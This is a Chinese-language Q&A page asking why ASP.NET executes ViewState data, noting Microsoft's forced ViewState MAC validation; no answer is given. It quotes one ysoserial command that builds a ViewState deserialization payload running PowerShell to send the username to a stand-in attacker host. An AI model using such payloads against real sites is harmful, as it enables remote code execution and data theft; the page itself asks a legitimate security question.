为什么 ASP.net 执行或执行 viewstate？

编程问答 2022-05-22

问题描述

几年前，Microsoft 更改了 ASP.net，使其忽略 EnableViewstateMac - 实际上使其默认为 true。这是由于有人将未检测到的代码插入 Viewstate 的风险。

例如...

ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/:UserName"

（从这里.. https://www.claranetcybersecurity.com/blog/2019-06-13-exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserialnet）

问题是... 为什么 ASP.net 执行 Viewstate 值？我原以为这些值只会被解释为 Web 控件的值。即作为字符串或数字。

解决方法

暂无找到可以解决该程序问题的有效方法，小编努力寻找整理中！

如果你已经找到好的解决方法，欢迎将解决方案带上本链接一起发送给小编。

小编邮箱:dio#foxmail.com (将#修改为@）

asp.netsecurityviewstateviewstatewebforms